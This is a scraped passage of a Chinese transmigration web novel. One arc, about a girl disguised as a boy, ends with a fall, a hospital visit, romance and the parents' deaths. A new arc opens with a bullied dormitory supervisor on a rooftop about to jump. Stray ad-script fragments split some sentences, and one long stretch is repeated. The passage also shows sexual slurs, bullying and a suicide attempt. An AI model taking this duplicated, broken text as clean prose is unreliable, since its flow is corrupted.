白母直接拉着人不让离开,让白幺幺说什么都要在家里留宿一晚,至于明天不想跟着出国玩,那就不去没事。 两人手不要脸搅在一起的画面一直在白宝珠脑中浮现,让她有点心烦意乱,这会见白母在留人,担心白母没办法把人留下。 她也赶忙过来搭腔,母女俩一起上感情牌,目的就一个,无论如何都要让白幺幺留下来过夜。 事出反常必有妖,白幺幺再傻也渐渐看出端倪。 本来就猜到白家人让她回来,准没憋啥好屁,现在基本可以确定了,就是不知道这母女俩想对她做什么? 如果放往常,白幺幺不介意奉陪到底,看看她们到底想做什么。 可是今天她真的没那个精力去应付这些人,以及之后可能的小打小闹或者阴谋算计。 白幺幺要离开的态度很坚决,不顾已经变脸的白母,她朝一直守在不远处的霍毅招招手,两人直接就要离开。 白宝珠被白幺幺一点不顾念亲情,决绝转身离开的动作刺激到了,脑中从看到霍毅去牵白幺幺手开始就一直紧绷着的某根弦彻底断了。 她小跑上前想要去将白幺幺拉回来,白幺幺听到脚步声回头,厌烦的躲开了她的手。 白幺幺的动作再次刺激到白宝珠,两人此时就那么恰好站在楼梯口,眼角余光瞥见已经走近的霍毅,气昏头的白宝珠瞬间心生一计。 她往前走两步,再次伸手想去挽白幺幺的胳膊,身体做好手被甩开导致重心不稳摔下楼梯的准备。 只是,事情往往就是计划赶不上变化。 腹部突然传来一阵一阵的绞痛让白幺幺烦躁的想让眼前人赶紧消失。 白宝珠再次伸手过来时,她身体本能的往后退,而这时她腹部的绞痛加剧,脑中更是一阵晕眩。 彻底失去意识时,白幺幺好像听到霍毅在喊她小乖,不过声音听着怎么怪怪的,打着颤还有些破音,其中夹杂着惊惧害怕。 第59章 校霸和他的女扮男装小跟班(33) “不是我,我没推她……是她自己没站稳掉下去的……对,可以看监控的……” 白宝珠的脸再不复往日红润,白得像墙纸。 怎么会这样,她明明是想自己上演苦肉计的。 还有,堂堂霍家少爷,竟然奋不顾身的扑上去,将人护紧了一起滚下楼梯。 如果掉下楼梯的只有白承继……只有白承继就好了。 为什么,霍毅他是疯了吗? 指甲掐进肉里,已经开始渗出血丝,白宝珠却没感觉到痛。 惊慌,害怕,嫉妒,怨恨等各种情绪简直快将她淹没,逼疯。 楼下一团糟,暂时没人有空顾及到她。 没办法,谁让摔下楼中的一人是霍毅,霍家的少爷。 如果人真出什么事,哪怕是在白家,和她们没关系,可他们还是担心被迁怒。 “小乖?” 霍毅轻轻触碰小孩的脸,已经昏迷得到人根本给不了他回应。 明明他已经及时将人拥在怀里护得很严实,可是现在人却双目紧闭,怎么都唤不醒。 霍毅急红了眼,顾不得自己身上的伤,抱起人就往外跑。 有人想向前拦住人说已经叫救护车了,不过最终还是没那个胆,更不想给自己找事。 白父没想到上个卫生间的功夫,会发生这样的事。 他出来时,霍毅已经抱着放到车上了。 简单听了发生什么后,忙一脸担心的追了出去,只来得及看到快速驶离的车屁股。 想着儿子那边有霍少在,而且听说滚下楼时,全程都被霍少护着,应该没什么大碍。 白父这么想着就先回去送走家里的客人,再从自己老婆孩子那了解下情况,最后一家人准备准备,一去医院看情况。 只是要去哪个医院? 他们不管是打白幺幺还是霍毅的电话都没人接。 这就有点尴尬了。 最后白父说应该没什么大问题,等着他们谁看到回个电话,到时我们再过去。 车子一路疾驰到医院,司机刚停下车,霍毅就抱着人下车,心急火燎的跑进医院。 医院院长刚好在各科室视察,眼尖他在霍毅抱着人跑进医院大厅时就认出来人。 “霍少。” 院长忙迎上去,瞅见他抱着的人时,心里一阵唏嘘。 人不是几个月前才从他们医院出去,当时还闹了场不小的乌龙,现在这是又怎么呢? 院长这时自己送上门来,还不用霍毅去找人,“他从楼梯上摔下来,你快安排给他检查。” 院长:“???” 这小同学还真是……跟他们医院有缘啊! 院长忙示意身旁的急诊科主任快去安排下,然后他自己亲自陪同人去做检查。 看到霍少抱着人紧张担忧的模样,而那小同学瞧着明显没什么外伤,却是双目紧闭,脸色有点白。 反倒是抱着人的霍少,胳膊肘都磕红肿了,脚上也有几处擦伤。 想了想,院长试着开口道:“霍少,我出生中医世家,善中医诊疗,等做检查还要几分钟,要不我先给小……白少爷把下脉?” “行,你把吧。” 霍毅抱着人转了个方向,方便院长给人把脉。 这手? 旁边霍毅的视线虎视眈眈,让院长顾不得细想,凝神静气开始小同学把脉。 咦,这脉象? 院长眉心缓缓蹙起,有点心慌怎么办。 他移开搭在脉搏上的手指,深呼吸,再次凝神静气重新把脉。 得到的还是一样的结果,最后院长将视线移到小同学的脖颈处,心中有了答案。 只是,只是这要怎么说吗? 说的话,又要怎么开口? 院长反复把脉的动作落在霍毅眼中,让他心中的担忧更甚,没想到院长把完脉也不立马说下情况,他只好急声催道:“快说,是脉象有什么问题吗?” 院长:“……” 想了想,他是给霍家打工的,对着自己未来少东家,肯定是要知无不言才是明智选择。 “那个,霍少,白……同学她没什么大碍,就是……就是……有比较严重的痛经情况。” 霍毅一时不明白院长话里的意思,先说没什么大碍,又说有比较严重的什么痛,这不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前后矛盾吗? 霍毅皱眉,让自己冷静些,“说清楚点,人到底怎么了,为什么会昏倒,到现在还不醒?” 院长:……他不是说得很清楚了吗? 行吧,那他就说得更清楚点。 院长清了清嗓子,“白……白小姐体质比较虚弱,来月经期间才会有如此严重的痛经反应。” 霍毅:“……” 怀中抱着的人似乎成了烫手的山芋,一时放下不是,继续抱着,两手又在发颤,脑袋更是一片空白。 “霍少?” 院长小声唤道,想问他这么说够清楚了吗? 只是霍毅这时哪里有心情理他,甚至脑袋都还空白着了。 这时急诊科主任小跑出来,让霍毅可以抱着人进去做检查了。 还是院长帮忙喊了好几声,霍毅才有了反应。 在院长他们的注视下,回神后的霍毅依旧呆呆的,抱着人按照医生给的指令动作着。 检查进行到一半时,白幺幺醒来了。 既然病人醒来了,有些情况医生直接询问起白幺幺来。 从医生提出的几个问题,白幺幺知道自己的秘密应该是暴露了,遂也坦然起来,十分配合医生,问什么就答什么。 听到她是初潮,医生表示她这个年纪才来初潮有点晚了,更仔细的了解起她的其他情况。 这边医生和病人交谈得很融洽,没人注意到旁边的霍毅同学在听到初潮两个字时,他的脸以肉眼可见的速度迅速变红。 这时他再没反应过来自己昨天都干了什么傻事,那就真的是智商为零。 难怪昨天小乖会生气。 还有,霍毅抿着唇,胸腔中有股莫名的情绪想宣泄,他想大声呐喊。 昨天,他亲眼见证了他的小乖从女孩蜕变成女人。 好激动,好想紧紧抱着人,好想抱着人转圈圈…… 白幺幺正和医生交谈着,某人的视线越来越灼热,让她想忽视都不行。 她回头瞪了人一眼,“霍毅,你先出去外面等着,别影响医生给我看病。” 仿若被当头泼了一盆冷水的霍毅同学:“……” 第60章 校霸和他的女扮男装小跟班(34) 白幺幺绝对不会承认她内心是有点小小羞耻感的,再加上昨天的痔疮乌龙,她还有点小生气了。 而这些小情绪可能是受生理期影响吧。 霍毅真的很想继续待着,可是,小乖正和医生聊的话题,他的确不太适合听。 认识十几年的小弟,突然告诉他,不是男的,是女的,这一性别转换,真的太…… 霍毅其实还没能完全消化这一信息,从他出去时缓慢虚浮的脚步就能看出来。 走到了门口,霍毅同学像是想到什么,跟个羞怯的小媳妇似的扒着门框探头说:“小乖,要是医生说的东西太多太杂了,让你听得有些累,别强撑着,我们可以直接让医生针对你的情况整理出一份详细的注意事项以及调理方案,不需要你费脑去记他说的话。” 白幺幺:……不错,还挺懂得体贴关心人的。 医生:……合着他说写都要来一遍哈! “知道了,你快把门关上。” 白幺幺再次赶人,她还要问下医生以前吃的那些药对身体影响大吗,这次来例假反应这么大是不是和吃那些药有关系? 霍毅:……隐隐约约记得以前好像不知道从哪里听过这么一句话:千万别惹生理期女人! “好,我马上关门。” 霍毅同学关上门前还朝白幺幺露出个有点一言难尽的傻笑。 白幺幺:……真的有点没眼看。 医生:……他好像窥探到了什么不得了的秘密。 白幺幺并没有和医生聊太久,开门出来时,第一眼就看到蹲在不远处眼巴巴望着门口这边的某人。 白幺幺:……怎么还傻着呢,旁边一排的椅子也不知道坐。 “小乖,你和医生谈完了吗?怎么样,累不累,要不要我……” 原本还蹲地上的人蹿的一下就到白幺幺面前,话说一半,莫名的就开始自己脸红起来。 霍毅想说累的话,他可以抱着……她走的。 可是想到男女有别,以前他是不知道,觉得都是男孩子,动作亲密点没事。 但现在不一样了,他继续对小乖搂搂抱抱的,那不就是在耍流氓。 到时让小乖误会他不是个正经的男孩子怎么办,霍毅同学一下子想远了。 等他回神过来,眼前已经没了人影,吓得他赶紧回头去寻人。 见人才走出去不远,忙小跑追上。 刚想开口喊人,就见小孩转身进了卫生间。 霍毅同学的脸再次红了,他如同做贼似的的左右看看,发现都没人,才快速往后退了好几步。 眼睛愣出不敢往卫生间那方向看,视线四处飘忽,没个落眼点。 忽的扫到什么,黑眸一亮,这才快速回头扫了眼,见人还没出来,忙往刚视线扫的方向跑去。 不到四十秒的功夫,霍毅同学推着个轮椅回到原地,见人还没出来,悄悄松了口气。 所以呀,少年还是太嫩了,不懂女生来例假时上卫生间时间一般比往常用时更长。 问白幺幺从卫生间出来看到少年和他前方轮椅的心情,那简直是又好气又好笑。 只是在少年殷切的目光下,她抿着嘴勉勉强强坐上轮椅后,那就只剩下两字——真香! 离开医院前,白幺幺挑挑拣拣的简单把自己为何要女扮男装说了下。 霍毅听后很气愤,拳头更是捏得咯吱作响,当然这些情绪全是对白母的。 之后白幺幺让霍毅继续帮着隐瞒,她还想安静的读完高中。 霍毅想了想,也支持她这个决定。 两人一合计,高考报名前先去把身份证改过来,顺便把名字改成白幺幺,毕竟白承继这个名字根本不适合女孩子用,而等高考完再彻底恢复真实性别。 医院那边的知情人士,霍毅去处理,白幺幺很放心。 两人聊完后,才离开医院。 因为白幺幺现在情况不同往昔,所以霍毅上车的第一时间就将车挡板升起来。 车上,白幺幺这时才有空拿出手机翻看。 上面有好几个未接来电,都是白家三人打来的,白宝珠还在聊天软件上发了段视频过来,和一些莫名其妙的信息。 白幺幺没有急着回电话,而是先点开白宝珠发过来的视频。 第一眼白幺幺就认出视频是白家二楼楼梯口的监控视频。 看完视频,白幺幺转头一脸复杂的看着正贴着车门坐的少年。 在医院时,她注意到少年身上的几处伤,还不等她问,少年就风轻云淡的解释说是抱着昏倒的她下楼时,没注意磕碰到的。 白幺幺当时总觉得怪怪,不过身体原因不容她多深想。 现在看了视频,终于知道少年口中所谓抱着她下楼,根本不是走下来的,而是滚下楼的。 当时她脑袋一昏,身体一晃,直直朝楼梯口栽下去。 要不是这人反应够 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 快,扑过来紧紧将她护在怀中,她现在情况应该不是很好。 而白宝珠发这个视频过来,是想让白幺幺和霍毅解释下,是自己不小心摔下楼的,不是她推的。 霍毅身体绷紧,内心忐忑,不明白小孩看了会儿手机,就突然转头看 他,眼神还那么奇怪。 白幺幺拍了拍身旁的的位置,“哥,坐过来些,有话问你。” 她有点搞不明白,平时两人一起坐车,不说紧挨着坐,但也没像现在这样,中间空出能再坐一个人的位置。 霍毅慢慢挪动身体,在两人之间还有十几公分距离时停下来。 白幺幺也没在意他的这些小动作,把白宝珠发过来的视频打开给他看,等他看完后问,“你当时怎么想的?” 霍毅愣了下,老实说道:“我当时什么也没想。” 他当时被吓得脑袋一阵空白,身体凭本能去作出反应。 “呆子!” 白幺幺笑了。 霍毅看迷了眼。 白家人从白幺幺这边得知两人都没什么事,霍毅也没因此对他们有什么意见,才纷纷松了口气。 因着这件事,白家人消停好一段时间,白幺幺也乐得不用去应付他们。 家里最先发现两孩子不对劲的是霍母,她生的儿子,她还不知道,明明之前每天粘人得紧,晚上都是待在一个房间学习的。 可是这两天,晚上两孩子饭后都是各回各房间学习,白天的相处,他儿子似乎更关心体贴人了,但两人却好像没以往那么亲密了。 霍母想,难道是吵架了? 可是又不太像。 想到儿子选得这条路,未来肯定会更难走点,如果他能半路自己选择放弃了,那也好。 反正无论孩子如何选择,她都不会干预。 生而为人都有选择自己想走什么样的路,过什么样生活的权利。 而且,她相信自己的孩子,有能力对自己的选择负责。 已经是第二次帮小乖买那东西了,霍毅同学还是没办法做到淡定,跟在买什么违禁品似的。 快速挑好东西,就在他要转身时,身后有人拍了下他肩膀。 这一下真把他吓到了,手上的东西还掉了一包。 嗯,超长夜用的那包。 辰东惊喜的声音响起。 “哥,我以为自己看错了,没想到真是你,对了你来买……什么……” 第61章 校霸和他的女扮男装小跟班(35) 辰东同学脸上的惊喜笑意在一寸一寸龟裂,嘴唇哆哆嗦嗦的想说什么,却久久蹦不出一个字来。 不怪辰东同学会反应如此大,换圈子里任何一个人来,反应只会比他更大。 他哥竟然在买女性生理期用的那种……东西…… 若不是亲眼见到,换谁跟他说,他打死也不信。 霍毅最先恢复淡定神色,凉凉的睨了好兄弟一眼,半警告半威胁道:“收起你那没见过世面的眼神,这是帮我妈买的,你有意见吗?出了这门你要是敢乱说啥,嗯哼!” 被拉出来背锅的霍母:……这还是她的好大儿吗?! 辰东:……他想说阿姨的东西不都有专门的生活管家给准备吗?可是他能说吗?呜呜,不,他不敢说的。 他智商是不高,但不傻,东西肯定不是给霍阿姨买的。 可是,他们几兄弟一直都在一起,平时也都忙着卷学习,他哥如果有情况,偷交女朋友,根本瞒不过他们的。 心里好奇死了,很想感觉回去和其他好兄弟分享下,顺便一起探讨下。 嗯,或许还要拉上白承继那小子,他和哥天天同吃同住,肯定比他们知道的多。 似乎是看出他的想法,霍毅黑眸一眯,声音阴恻恻的道:“这件事要是泽凯和明义知道了,你……” 没等霍毅说完,求生欲爆表的辰东同学忙头摇得跟拨浪鼓似的,“哥,你放心,放一百个心,我保证谁都不说。” 时光匆匆。 感觉就眨眼的功夫,白幺幺就成高三党了。 备战高考,奋斗与拼搏成了高三学生的主旋律。 有霍毅的掩护,她的秘密到现在还守住着,就连来往密切的李明义,辰东,张泽凯都没发现。 当然也有过差点掉马的情况,原因还是辰东总是喜欢和她勾肩搭背。 每回都被霍毅精准捕捉到,然后反应极大的将辰东的胳膊挡开,同时警告他说话就说话,不要动手动脚的。 辰东同学回不回都被搞得委屈加自闭,当然这位也是个心大的,并没有因此产生什么情绪。 只是次数多了,只以为是白幺幺不喜欢和人有过多触碰,而霍毅出于对人的照顾,才总是那么紧张。 自从白母生日那次,白幺幺在霍家长住,没再回过白家。 期间不管是白母、白父还是白宝珠打电话过来,白幺幺都是敷衍几句就结束通话,至于他们想约她见面的,那肯定是通通拒绝掉。 或许是霍毅奋不顾身抱着她摔下楼梯的画面太有冲击力,哪怕是脾气比较冲的白父对她态度上也不再强硬。 时不时来个电话表示关心,试着想增进父子感情,哪怕每次得到都是白幺幺干巴巴的回复,隔个十天半月,白父的电话还是雷打不动的打来。 没办法,白父毕竟是个商人,很多东西更容易想明白,想长远,也更能放下脸面来做事。 高考报名前,白幺幺在霍毅的陪同下去重新办了身份证。 也不知道这小子什么时候偷偷买的裙子,当天怀着忐忑的心情,脸红脖子红的拿出来,以为要磨她很久,她才会穿上。 所以当白幺幺很爽快接过袋子去卫生间换衣服时,霍毅就傻愣愣站着。 等她换完衣服出来,才回神看了她一眼,人就又愣住了。 傻愣愣的表情取悦了白幺幺,暗暗在心里又给人加了几分。 在霍家住着的这段日子里,白幺幺被养的极好,长了不少肉。 她的发型是那种三齐头,齐刘海、齐鬓角、后颈部位也是整齐的,平时穿宽松男性衣服时,瞧着有点雌雄难辨。 但要真去细看,女孩子终究是女孩子。 反正霍毅时常偷偷看着人出神,懊恼自己以前眼瞎,竟然都没察觉出端倪。 现在白幺幺穿着他亲自挑选的裙子,又怎么能不让他看呆了。 辰东几人是在高考结束后的第三天知道白幺幺是个女孩的。 没办法,霍毅想在上大学前,先把关系定下来,就计划着来场告白。 可他没经验呀。 所以只能求助兄弟们。 当时辰东反应是最激烈,那惊呼声差点没把人饭店包间的屋顶掀了。 他想起了不小心撞见他哥买女性生理用品的画面,简直快懊恼极了,生生错过发现真相的机会。 还有,难怪了,他每次靠近白承继……哦,不,现在改叫白幺幺,他哥总是各种对他死守严防的。 忽略掉心底深处的异样情绪,辰东开始加入另外几个兄弟起哄中。 果然是三个臭皮匠顶个诸葛亮,整出来告白场面低调温情,十分有创意。 白幺幺第一次被如此正儿八经的告白,说真的,不感动是假的。 一切是那么的顺理成章,两人在一起了。 然后大家似乎忘记了一件事。 等高考成绩出来后,白幺幺再次出名了。 市理科状元,白幺幺,白承继,女同学,这几个词成了他们学校这段时间的热聊话题。 而霍家长辈们也是从新闻中得知白幺幺性别女这一震惊信息的。 当然,白家人也都知道了,特别是白父 ,还是从死对头那知道自己儿子变女儿的惊人消息。 一开始还以为是愚人节,死对头在闹他了。 反正吧! 外界的一切风风雨雨似乎和白幺幺都没关系,隐瞒性别的事是白母做的,她只是个做不了自己主的孩子。 至于恢复性别的事,她本来就是女的,不恢复难道真一辈子装男人。 高考的前一个月她就已经满十八岁了,可以为自己的人生做主了。 人性本质就是欺软怕硬的,当白幺幺在对待白家人的态度表现的越来越强硬,一副我行我素,不服就干的模样。 渐渐地白家几人也认清她不再是能任他们拿捏的孩子了,白父白母有没有后悔,白幺幺不知道。 不过白宝珠后悔了,白幺幺能看出来。 这个小姑娘怎么说,最自私也最聪明,是能屈能伸的。 审时度势后,最先反应过来要和白幺幺打好关系的,只不过白幺幺不买账而已。 白父白母在白幺幺去大学报到的前一天离婚了,白母被净身出户了。 离婚并且让白母净身出户,白父这样做,有点要讨好她的意思。 问白幺幺是怎么知道的,白父打电话过来告诉她离婚这事,那语气跟在邀功似的。 白幺幺就纯纯的无语,直接将人拉黑了。 大一下学期期末考刚考完,白幺幺正计划着假期要干嘛,就接到了一通电话,内容让她既震惊,又…… 白父离婚不到一个月就另娶小十三岁的娇妻,十个月后,两人的儿子出生。 有了儿子,还有娇妻在旁边吹枕边风,白父动了将全部财产都留给儿子的想法。 白宝珠这个前妻生的女儿,怎么说,曾经是如珠如宝的疼爱过没错,可是谁让她有那样一个妈。 白宝珠无意中听到后妈和白父的对话,直接跑去和白母哭诉。 白母听了那还得了,她当初离婚同意净身出户,是想着还有女儿,可现在…… 她想也不想直接杀到白父公司去,可惜被拦下来了。 她只能在公司外蹲点,最后还是让她拦到了白父的车。 白父碍于影响,让人上车聊。 司机今儿刚好有事请假,是白父亲自开车。 两人在车上交谈激烈,慢慢演变成争吵,最后甚至动起手来。 全然忘记,还在大马路上了,等反应过来时,已经迟了。 车子直直冲断护栏,一头砸进湖里,车内两人无一生还。 丧礼结束后,白幺幺没有多逗留,直接离开。 白宝珠喊住她想说什么,可白幺幺只是回头,眸光冰冷暗含警告的看了对方一眼。 …… 白幺幺以为会在计算机领域钻研一辈子,没成想计划赶不上变化。 大二的暑假,她被星探发现,想着这段时间有空,抱着去尝试下演戏的心态,反正有某人的保驾护航,圈子里的腌臜事影响不到她。 然后,白幺幺的表演欲就这么被挑起来,一发不可收拾,就连喜欢的代码都被她暂时打入冷宫。 毕竟不是科班出身,演 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 技慢慢磨练想达到影后级别肯定是有难度的。 不过白幺幺很快找到了一条适合自己的路,她成了娱乐圈出名的“打女”,没办法,谁让她会真功夫。 又美又能打,都不需要武替,很受许多大制作导演的青睐。 自从白幺幺混了娱乐圈,霍毅同学那是越来越没安全感,在白幺幺大学一毕业,就拐了人去领证,同年举行了盛大的婚礼。 白幺幺成了娱乐圈的一股清流,英年早婚,名气却不减反增。 ,还是从死对头那知道自己儿子变女儿的惊人消息。 一开始还以为是愚人节,死对头在闹他了。 反正吧! 外界的一切风风雨雨似乎和白幺幺都没关系,隐瞒性别的事是白母做的,她只是个做不了自己主的孩子。 至于恢复性别的事,她本来就是女的,不恢复难道真一辈子装男人。 高考的前一个月她就已经满十八岁了,可以为自己的人生做主了。 人性本质就是欺软怕硬的,当白幺幺在对待白家人的态度表现的越来越强硬,一副我行我素,不服就干的模样。 渐渐地白家几人也认清她不再是能任他们拿捏的孩子了,白父白母有没有后悔,白幺幺不知道。 不过白宝珠后悔了,白幺幺能看出来。 这个小姑娘怎么说,最自私也最聪明,是能屈能伸的。 审时度势后,最先反应过来要和白幺幺打好关系的,只不过白幺幺不买账而已。 白父白母在白幺幺去大学报到的前一天离婚了,白母被净身出户了。 离婚并且让白母净身出户,白父这样做,有点要讨好她的意思。 问白幺幺是怎么知道的,白父打电话过来告诉她离婚这事,那语气跟在邀功似的。 白幺幺就纯纯的无语,直接将人拉黑了。 大一下学期期末考刚考完,白幺幺正计划着假期要干嘛,就接到了一通电话,内容让她既震惊,又…… 白父离婚不到一个月就另娶小十三岁的娇妻,十个月后,两人的儿子出生。 有了儿子,还有娇妻在旁边吹枕边风,白父动了将全部财产都留给儿子的想法。 白宝珠这个前妻生的女儿,怎么说,曾经是如珠如宝的疼爱过没错,可是谁让她有那样一个妈。 白宝珠无意中听到后妈和白父的对话,直接跑去和白母哭诉。 白母听了那还得了,她当初离婚同意净身出户,是想着还有女儿,可现在…… 她想也不想直接杀到白父公司去,可惜被拦下来了。 她只能在公司外蹲点,最后还是让她拦到了白父的车。 白父碍于影响,让人上车聊。 司机今儿刚好有事请假,是白父亲自开车。 两人在车上交谈激烈,慢慢演变成争吵,最后甚至动起手来。 全然忘记,还在大马路上了,等反应过来时,已经迟了。 车子直直冲断护栏,一头砸进湖里,车内两人无一生还。 丧礼结束后,白幺幺没有多逗留,直接离开。 白宝珠喊住她想说什么,可白幺幺只是回头,眸光冰冷暗含警告的看了对方一眼。 …… 白幺幺以为会在计算机领域钻研一辈子,没成想计划赶不上变化。 大二的暑假,她被星探发现,想着这段时间有空,抱着去尝试下演戏的心态,反正有某人的保驾护航,圈子里的腌臜事影响不到她。 然后,白幺幺的表演欲就这么被挑起来,一发不可收拾,就连喜欢的代码都被她暂时打入冷宫。 毕竟不是科班出身,演技慢慢磨练想达到影后级别肯定是有难度的。 不过白幺幺很快找到了一条适合自己的路,她成了娱乐圈出名的“打女”,没办法,谁让她会真功夫。 又美又能打,都不需要武替,很受许多大制作导演的青睐。 自从白幺幺混了娱乐圈,霍毅同学那是越来越没安全感,在白幺幺大学一毕业,就拐了人去领证,同年举行了盛大的婚礼。 白幺幺成了娱乐圈的一股清流,英年早婚,名气却不减反增。 第62章 禁欲教授与被霸凌小可怜的反转人生(01) “恬恬,你今天是不是又找她麻烦了?” “嗤!” 顶着一头棕麻色卷发的少女陈雅恬面露嫌憎之色,随地吐掉口中已经咀嚼没味的口香糖,才不耐烦的回复手机一头的人。 “小姑,你就别管了,谁让那贱婊子不要脸的想勾引明凯哥哥的。” “呵!一个老女人也想老牛吃嫩草,就凭她胸大吗?反正故宫的城墙都没她脸皮厚。” “哼,明凯哥哥才不是那种肤浅的男人,都是那老女人天天发骚想勾引男人……” “不是,恬恬,你先别说了。” 电话那头的陈丽华有点听不下去了,特别是……想到进门前,刚好和要出门的白幺幺迎面撞上,对方麻木的神情,空洞的眼神,脸上明晃晃的巴掌印以及好几道指甲划拉出的血印子。 不知怎的,陈丽华有点心慌慌的,总觉得白幺幺的状态很不对,可能会发生什么不好的事。 要是早知道自己这个侄女如此冲动,行事还乖张不听劝,她当初就不多嘴了。 “恬恬,你就快告诉小姑,白幺幺脸上的伤是不是你打的?” 心里已经有了答案,陈丽华却还是抱着一丝丝侥幸心理。 陈雅恬可理解不了陈丽华的心思,当即骂骂咧咧起来。 “妈的,就是我打了怎么呢?小姑,那个骚婊子是不是和你告状了。” “又不是第一次被我教训了,怎么,竟然还没学聪明,也不想想,要是她没不要脸的勾引明凯哥哥,我犯得着跟个老女人计较。” 陈丽华心里又沉了几分,干脆掰开了揉碎了和自己这个侄女说。 “恬恬啊,小姑刚刚看到人出去时状态很不对,担心……担心人会想不开,如果真是这样,到时闹开了,把你牵扯出来怎么办?你才刚成年,还有大好的青春年华。” 陈雅恬自动忽略掉陈丽华话中的担忧,语气既兴奋又激动:“小姑,你说的是真的吗?那骚婊子终于知道自己没脸见人,要去寻死了。” 陈丽华:“……” 这孩子怎么就没听清其中的利害关系了,真是愁死了人哟! “哎,你这孩子……我还是先不和你说了。” 陈丽华觉得她还是要出去看看,如果人真的想不开要去做傻事,那她也能劝劝并阻止。 毕竟,她哥可就剩下恬恬这么个女儿了。 也幸好她进屋时多留了个心眼,才知道等下要去哪里找人。 “我去!又来!!” 白幺幺恢复意识后,发现这具身体正站在高楼天台上,身体摇摇欲坠,甚至右脚已经迈出去一大半了。 所以……这具身体是在跳楼? 反正肯定不是在赏月。 白幺幺抬手心有余悸拍了拍胸脯,她觉得世界管理局也太不靠谱,已经第二次了,要是她再晚上身一分钟…… 咦?这手感!!! 她两眼发亮的低头。 嗯,果然很波涛汹涌,直接都看不到肚子和脚,起码c罩杯以上,说不定有d罩杯。 上个世界,经过她后期调养,小笼包终是长成肉包子,只不过还是只有b罩杯。 女人么,谁不想拥有好身材。 忽的脑中传来一阵晕眩,白幺幺还没接收剧情,不知道是什么情况,但一点不妨碍她快速做出反应。 在彻底失去意识前从天台上跳回地面上,找个角落靠坐着。 陈丽华从宿管宿舍出来,她没先急着上楼。 来到一楼外空地上,她抬头往上看去,虽然快十一点,学生宿舍已经熄灯了,不过今晚的月亮真的格外明亮。 顶楼天台上有没有站人,看得相当清楚。 远远瞧着天台上空无一人,陈丽华心中暗松了口气。 想着她要不等等再上去,让人自己先好好冷静冷静,没准很快就想通,自我调节好了。 …… 也不知道过了多久,白幺幺再次恢复意识。 脑袋昏胀胀的,她下意识的抬手去拍胸口。 “我去!” 白幺幺想爆粗口了。 她的大胸竟然没了?!!! 不是吧,白幺幺心中哀嚎。 难道她刚刚上错身体了,之所以会晕眩失去意识,不过是在调整这一错误,让她重新进入这具……有点平胸的身体。 有点心堵怎么办。 白幺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺坐起身来,没兴趣去打量四周,直接先接收起剧情来。 期间,白幺幺的表情不断变换,甚至好几次忍不住嘴角抽抽。 等接收完全部剧情,白幺幺才睁开眼睛打量起四周环境来。 房间是高冷灰色调禁欲系极简风装修,收拾得很干净整洁,仔细闻,空气中弥漫着极浅极淡的薄荷香。 白幺幺满意的点头,嗯,这男人的品味还是不错的。 没办法,不出意外的话,白幺幺未来要在这间房里住上不短的时日。 装修风格不是她讨厌的,还是她喜欢的,人住着心情也美丽不少。 白幺幺都有点庆幸,她此刻所在这具身体不是个邋遢肥腻猥琐大叔。 对了,别误会,这具身体可不是任务对象。 这个小世界的任务对象是她之前恢复意识时,那个疑似要跳楼自杀的大胸姑娘。 来说说这个世界的剧情吧。 这个世界讲述了女主陈雅恬从小就励志要当竹马哥哥曾明凯的妻子,可是初中时,家里遭逢变故,她成了孤儿,跟着自己的小姑姑生活。 曾明凯从小到大一直是典型的别人家的孩子,长得好,学习好,在学校里很受欢迎,引得很多女生芳心暗许。 陈雅恬长得尚可,从小比较会打扮,也舍得打扮自己,如果她学习成绩不错的话。 她和曾明凯两人再有青梅竹马的名份,也算般配,两人最终走到一起的可能很大。 可惜她学习成绩很渣,还在学校里拉帮结派的,有点往小太女方向发展。 特别是在发现她的竹马哥哥开始和她生分了,心中又气又慌,竟私下开始霸凌起那些给曾明凯写情书或者当面告白过的女生。 当然那些和曾明凯走得比较近的女生也被她拦堵下来言语警告过,至于为什么只是口头警告这些人,主要还是学习好的一般都和学习好的来往,这几个女生学习都很好。 陈雅恬不是傻的,小小年纪就将欺软怕硬玩得明明白白的。 同一年高考,曾明凯考上了国内顶级学府,而她连普通专科都没考上。 在小姑姑的劝说下,和对曾明凯疯狂爱意的驱使下,陈雅恬走上了复读的路。 第63章 禁欲教授与被霸凌小可怜的反转人生(02) 很巧的,陈雅恬的小姑姑陈丽华就在曾明凯就读的高校当宿管阿姨。 为了能让陈雅恬专心复读,陈丽华只好答应侄女在学校帮她看着点曾明凯,留心有没有别有用心的女同学靠近他,并时不时帮忙偷拍点曾明凯的照片。 如果说男性有痴汉一说,陈雅恬对曾明凯的喜欢,可以说就是痴女了。 原主也叫白幺幺,今年三十三岁,在高校当宿管阿姨,和陈雅恬的小姑姑陈丽华是同事关系。 原主的情况有点特殊,这要从她出生的村子说起,那是一个偏远落后的村庄。 村子本来叫做白家村,只因村里大多数人都姓白。 很久以前外敌来犯,村里的好男儿不得不去当兵上战场。 战争就意味着牺牲,为了让那些去当兵的好男儿安心,也为了不让那些在战场上牺牲了的好男儿寒心,村里那些德高望重的老人们开始给村里小媳妇灌输守贞的思想,哪怕家里男人没了,也要为他们守一辈子的寡。 那个时候村里民风还很淳朴,人的思想也落后保守。 很快村里的寡妇家都以能立贞节牌坊为荣,渐渐地也有好几家得此殊荣,立了贞节牌坊。 白家村的女人渐渐在附近几个村出名了,是好名。 村里的那些老人坐一起开了个会,直接拍板将白家村改为守贞村,毕竟只有这个名字才能贴切体现她们村女人的忠贞高洁品行。 随着时代在发展,思想在进步,守贞村就好像独独被改革开放的春风遗漏了,村里对女性的要求依旧延续老一辈传下的思想,甚至越来越苛刻和偏激。 村里的姑娘不仅要守贞,如果失贞了,那肯定是无颜继续苟活,唯一选择就是自行了断。 原主家有两座贞节牌坊,一个是她太奶奶的,一个则是她奶奶的。 原主奶奶生了一儿一女,儿子娶妻生了原主后,夫妻俩在原主一岁多的时去县里的路上双双被车撞死了。 家里一下子就剩下原主奶奶,原主姑姑,以及原主。 照理说,原主家在村里名声应该很不错的,可是三十年前,发生了一件事。 原主姑姑,在从县里回村的路上被邻村一个游手好闲的二流子强女干了。 